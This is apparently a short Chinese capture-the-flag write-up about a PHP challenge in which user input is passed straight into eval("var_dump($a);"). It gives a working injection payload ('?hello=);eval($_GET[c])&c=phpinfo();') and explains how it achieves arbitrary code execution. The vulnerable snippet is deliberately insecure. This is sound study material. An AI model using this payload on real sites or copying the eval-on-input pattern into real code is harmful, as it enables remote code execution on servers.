看下eval+var_dump的妙用。
eval会执行括号中的内容;var_dump中内容是字符串时输出的模式是 string(x) "xxxx"。如果他俩结合,是可以很好滴应用的。
上题。
<?php
error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
这串代码看懂不难。利用方法是:首先,可以让var_dump的字符串结果双引号闭合前面的双引号,结束前面eval的执行,然后另启动一个eval函数。
构造的信息如下:
?hello=);eval($_GET[c])&c=phpinfo();
var_dump($a);的结果为:
string(15) ");eval($_GET[c]"
eval("var_dump($a);");的结果为:
eval("string(15) ");eval($_GET[c]" ");
看见没,var_dump的结果的双引号将eval前面和后面的双引号都完美的闭合了,从而能够愉快地执行eval语句,漂亮。
附一张结果图:
